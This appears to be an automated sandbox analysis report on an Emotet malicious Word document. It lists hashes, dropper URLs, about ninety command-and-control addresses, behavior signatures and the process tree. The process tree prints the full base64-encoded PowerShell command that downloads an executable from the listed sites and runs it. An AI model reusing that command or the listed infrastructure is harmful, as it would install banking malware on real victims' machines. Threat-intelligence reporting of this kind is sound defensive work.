emotet | 4e2c7d269a6ac0822ab6f3045c0352299c4cc28a7cb08bcb3d1fd3bcfed4d7aa

General

Target
emotet_e2_4e2c7d269a6ac0822ab6f3045c0352299c4cc28a7cb08bcb3d1fd3bcfed4d7aa_2020-10-14__193624304564._doc.doc
Size 127KB
Sample201014-g415watwvn
SHA256 4e2c7d269a6ac0822ab6f3045c0352299c4cc28a7cb08bcb3d1fd3bcfed4d7aa
MD5 74d7007eba0cdba9914947c401a54527
SHA1 eaeea1993cf558a6bdcf6a40a99086eb8edfac3b
SHA512 d1be04f50854517ca0c99e3b0a30ccd4a875ca0ddead450776815436cc0c6a2cdae37b346b741bfb51bda0802918da168af2fff2f0df07e3c62abe1eacac3e79
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://savetheboom.com/admin_access/xht/
exe.dropper
https://dakwahwisata.net/wp-admin/c/
exe.dropper
https://popcornv.com/wp-includes/KHKX/
exe.dropper
https://dusitserve.com/gethits/o3A/
exe.dropper
https://asc-kl.com/v2/Ztf/
exe.dropper
http://gaashaan.com/cgi-bin/O/
exe.dropper
http://inmaainv.com/site/cLDOJFI/

Extracted

Family

emotet

Botnet

Epoch2

C2

47.36.140.164:80
169.50.76.149:8080
162.241.140.129:8080
104.131.123.136:443
95.213.236.64:8080
130.0.132.242:80
123.176.25.234:80
46.105.131.79:8080
157.245.99.39:8080
79.98.24.39:8080
49.50.209.131:80
72.143.73.234:443
50.91.114.38:80
89.216.122.92:80
5.39.91.110:7080
121.124.124.40:7080
71.72.196.159:80
5.196.74.210:8080
139.162.108.71:8080
61.19.246.238:443
91.211.88.52:7080
120.150.60.189:80
137.59.187.107:8080
139.59.60.244:8080
124.41.215.226:80
194.187.133.160:443
50.35.17.13:80
75.139.38.211:80
96.249.236.156:443
78.188.106.53:443
62.75.141.82:80
190.108.228.27:443
218.147.193.146:80
94.23.237.171:443
139.162.60.124:8080
96.245.227.43:80
174.106.122.139:80
113.61.66.94:80
93.147.212.206:80
203.153.216.189:7080
104.131.11.150:443
94.200.114.161:80
87.106.136.232:8080
69.206.132.149:80
172.91.208.86:80
110.145.77.103:80
188.219.31.12:80
71.15.245.148:8080
121.7.31.214:80
97.82.79.83:80
42.200.107.142:80
185.94.252.104:443
168.235.67.138:7080
91.146.156.228:80
24.137.76.62:80
87.106.139.101:8080
5.196.108.189:8080
194.4.58.192:7080
110.142.236.207:80
24.179.13.119:80
75.143.247.51:80
172.104.97.173:8080
216.139.123.119:80
118.83.154.64:443
74.208.45.104:8080
142.112.10.95:20
109.74.5.95:8080
104.131.44.150:8080
37.139.21.175:8080
139.99.158.11:443
220.245.198.194:80
140.186.212.146:80
78.24.219.147:8080
176.111.60.55:8080
37.187.72.193:8080
162.241.242.173:8080
209.141.54.221:8080
108.46.29.236:80
103.86.49.11:8080
174.45.13.118:80
68.252.26.78:80
62.30.7.67:443
134.209.36.254:8080
120.150.218.241:443
79.137.83.50:443
85.25.106.204:8080
186.74.215.34:80
80.241.255.202:8080
24.43.32.186:80
76.175.162.101:80
190.240.194.77:443
47.144.21.12:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2140	1128	POwersheLL.exe	72

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3504-12-0x00000000007A0000-0x00000000007BF000-memory.dmp	emotet
behavioral2/memory/3504-13-0x00000000022E0000-0x00000000022FE000-memory.dmp	emotet
behavioral2/memory/1576-16-0x00000000020C0000-0x00000000020DF000-memory.dmp	emotet
behavioral2/memory/1576-17-0x00000000020E0000-0x00000000020FE000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	2140	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3504	T1_1hl2u.exe
1576	Windows.Cortana.ProxyStub.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\AppxApplicabilityEngine\Windows.Cortana.ProxyStub.exe	T1_1hl2u.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2140	POwersheLL.exe
2140	POwersheLL.exe
2140	POwersheLL.exe
1576	Windows.Cortana.ProxyStub.exe
1576	Windows.Cortana.ProxyStub.exe
1576	Windows.Cortana.ProxyStub.exe
1576	Windows.Cortana.ProxyStub.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2140	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3504	T1_1hl2u.exe
1576	Windows.Cortana.ProxyStub.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2140 wrote to memory of 3504	2140	POwersheLL.exe	80
PID 2140 wrote to memory of 3504	2140	POwersheLL.exe	80
PID 2140 wrote to memory of 3504	2140	POwersheLL.exe	80
PID 3504 wrote to memory of 1576	3504	T1_1hl2u.exe	82
PID 3504 wrote to memory of 1576	3504	T1_1hl2u.exe	82
PID 3504 wrote to memory of 1576	3504	T1_1hl2u.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_4e2c7d269a6ac0822ab6f3045c0352299c4cc28a7cb08bcb3d1fd3bcfed4d7aa_2020-10-14__193624304564._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABMAGcAMwBiAHYAOQBlAD0AWwBjAGgAYQByAF0ANAAyADsAJABMAHgAaQB2AG8AZgA4AD0AKAAnAEYAbwAnACsAKAAnAGUAOAA4ACcAKwAnADcAaQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBTAGUAcgBwAHIATwBGAGkAbABlAFwAWgBkADUANQAzAEMATABcAEoATABGADcASQBBAHIAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBDAFUAYABSAEkAVABgAHkAYABwAHIATwBgAFQATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACgAJwAxADIALAAnACsAJwAgACcAKQArACcAdABsACcAKwAoACcAcwAxADEALAAnACsAJwAgACcAKQArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUQB6ADEAeQB5ADAAeAAgAD0AIAAoACgAJwBUACcAKwAnADEAXwAnACkAKwAnADEAJwArACgAJwBoAGwAMgAnACsAJwB1ACcAKQApADsAJABRAGwAbQA0ADIANABwAD0AKAAnAE4AJwArACgAJwB3ADAAJwArACcAMQB1ACcAKQArACcAZgA2ACcAKQA7ACQAUAA3AGkAXwA1AGIAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAJwArACcAfQBaACcAKwAoACcAZAA1ACcAKwAnADUAJwApACsAJwAzAGMAJwArACcAbAB7ACcAKwAnADAAfQAnACsAJwBKAGwAZgA3AGkAYQByAHsAMAB9ACcAKQAtAEYAWwBjAEgAQQBSAF0AOQAyACkAKwAkAFEAegAxAHkAeQAwAHgAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABZAHcAbgA5AG8AZwByAD0AKAAnAE4AZQAnACsAJwB0ACcAKwAoACcAYgAyACcAKwAnAGIAZgAnACkAKQA7ACQAVABrAGUAMgAyAHIAYQA9ACYAKAAnAG4AZQB3AC0AbwAnACsAJwBiAGoAZQBjACcAKwAnAHQAJwApACAAbgBFAFQALgBXAGUAQgBjAGwAaQBlAG4AVAA7ACQASAB1AGYANgBrAGQANQA9ACgAKAAnAGgAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvAHMAYQB2AGUAJwArACcAdABoAGUAJwApACsAKAAnAGIAJwArACcAbwBvAG0AJwArACcALgBjAG8AJwArACcAbQAvAGEAJwApACsAKAAnAGQAJwArACcAbQAnACsAJwBpAG4AJwArACcAXwBhAGMAYwBlAHMAcwAvAHgAJwArACcAaAAnACkAKwAnAHQALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoAJwArACcALwAnACkAKwAnAC8AJwArACgAJwBkAGEAawB3AGEAJwArACcAaAB3ACcAKQArACgAJwBpAHMAJwArACcAYQB0ACcAKQArACcAYQAuACcAKwAoACcAbgAnACsAJwBlAHQALwB3ACcAKQArACcAcAAtACcAKwAnAGEAZAAnACsAJwBtAGkAJwArACcAbgAvACcAKwAnAGMAJwArACcALwAqACcAKwAoACcAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAcwA6AC8AJwArACcALwBwAG8AcAAnACsAJwBjAG8AcgBuAHYAJwArACcALgBjACcAKQArACcAbwAnACsAJwBtAC8AJwArACgAJwB3ACcAKwAnAHAALQBpAG4AJwApACsAKAAnAGMAJwArACcAbAB1AGQAZQBzAC8ASwBIACcAKwAnAEsAJwApACsAJwBYACcAKwAoACcALwAqAGgAdAB0AHAAcwAnACsAJwA6AC8ALwAnACsAJwBkAHUAcwAnACkAKwAoACcAaQAnACsAJwB0AHMAZQByACcAKQArACcAdgBlACcAKwAoACcALgAnACsAJwBjAG8AbQAnACkAKwAnAC8AJwArACcAZwBlACcAKwAoACcAdAAnACsAJwBoAGkAdABzACcAKQArACgAJwAvAG8AMwAnACsAJwBBACcAKwAnAC8AKgBoAHQAdABwACcAKwAnAHMAOgAnACkAKwAnAC8AJwArACcALwAnACsAKAAnAGEAcwBjAC0AJwArACcAawAnACkAKwAoACcAbAAuACcAKwAnAGMAbwBtAC8AdgAyACcAKwAnAC8AWgB0AGYALwAnACsAJwAqAGgAJwArACcAdAAnACkAKwAnAHQAcAAnACsAJwA6ACcAKwAnAC8ALwAnACsAKAAnAGcAYQAnACsAJwBhAHMAaAAnACkAKwAoACcAYQAnACsAJwBhAG4ALgAnACkAKwAoACcAYwBvAG0ALwBjACcAKwAnAGcAaQAtAGIAJwArACcAaQBuACcAKQArACcALwAnACsAKAAnAE8AJwArACcALwAqAGgAdAB0ACcAKwAnAHAAOgAnACsAJwAvAC8AaQBuACcAKQArACgAJwBtAGEAJwArACcAYQAnACkAKwAoACcAaQBuAHYALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvAHMAaQB0AGUAJwArACcALwBjAEwARABPACcAKQArACgAJwBKAEYAJwArACcASQAvACcAKQApAC4AIgBzAHAAYABsAEkAVAAiACgAJABMAGcAMwBiAHYAOQBlACkAOwAkAFIAZwAyADYAdQBkAHIAPQAoACgAJwBTACcAKwAnAGgAcABqAGoAJwApACsAJwA5AGgAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAVgA1AHAAdgBkAHkAOQAgAGkAbgAgACQASAB1AGYANgBrAGQANQApAHsAdAByAHkAewAkAFQAawBlADIAMgByAGEALgAiAEQATwB3AG4AYABsAGAATwBBAEQARgBgAGkATABFACIAKAAkAFYANQBwAHYAZAB5ADkALAAgACQAUAA3AGkAXwA1AGIAZQApADsAJABEAHQAagB6AG8AdwBfAD0AKAAnAFYAJwArACcAaQBrACcAKwAoACcAeAAnACsAJwBqAG8AMAAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACAAJABQADcAaQBfADUAYgBlACkALgAiAEwAYABlAE4AZwBgAFQASAAiACAALQBnAGUAIAAyADkAMAA5ADgAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQAnACsAJwBJAHQAZQBtACcAKQAoACQAUAA3AGkAXwA1AGIAZQApADsAJABDAGIAbgBvAGEAeAA2AD0AKAAnAFQAaQAnACsAJwBoACcAKwAoACcAMwBoADUAJwArACcAdQAnACkAKQA7AGIAcgBlAGEAawA7ACQAWgA3AGgAMwBxAHIAYgA9ACgAKAAnAEgAYQBsACcAKwAnADQAJwApACsAJwA1AG4AJwArACcAbQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFkANABoADgANQBmAGYAPQAoACcASwB1ACcAKwAnAHgAJwArACgAJwBvADQAJwArACcAegB3ACcAKQApAA==
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2140
- C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe
  "C:\Users\Admin\Zd553cl\Jlf7iar\T1_1hl2u.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3504
- - C:\Windows\SysWOW64\AppxApplicabilityEngine\Windows.Cortana.ProxyStub.exe
    "C:\Windows\SysWOW64\AppxApplicabilityEngine\Windows.Cortana.ProxyStub.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1576

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1576-17-0x00000000020E0000-0x00000000020FE000-memory.dmp

Download

memory/1576-16-0x00000000020C0000-0x00000000020DF000-memory.dmp

Download

memory/2140-6-0x00007FFDB5690000-0x00007FFDB607C000-memory.dmp

Download

memory/2140-7-0x000002556CD80000-0x000002556CD81000-memory.dmp

Download

memory/2140-8-0x000002556D500000-0x000002556D501000-memory.dmp

Download

memory/3504-12-0x00000000007A0000-0x00000000007BF000-memory.dmp

Download

memory/3504-13-0x00000000022E0000-0x00000000022FE000-memory.dmp

Download

memory/3672-5-0x0000026E90F29000-0x0000026E90F2B000-memory.dmp

Download

memory/3672-0-0x00007FFDBCDC0000-0x00007FFDBD486000-memory.dmp

Download

memory/3672-4-0x0000026E90E28000-0x0000026E90E2D000-memory.dmp

Download

memory/3672-3-0x0000026E90E28000-0x0000026E90E2D000-memory.dmp

Download

memory/3672-2-0x0000026E90E28000-0x0000026E90E2D000-memory.dmp

Download

memory/3672-1-0x0000026E90D94000-0x0000026E90DA5000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads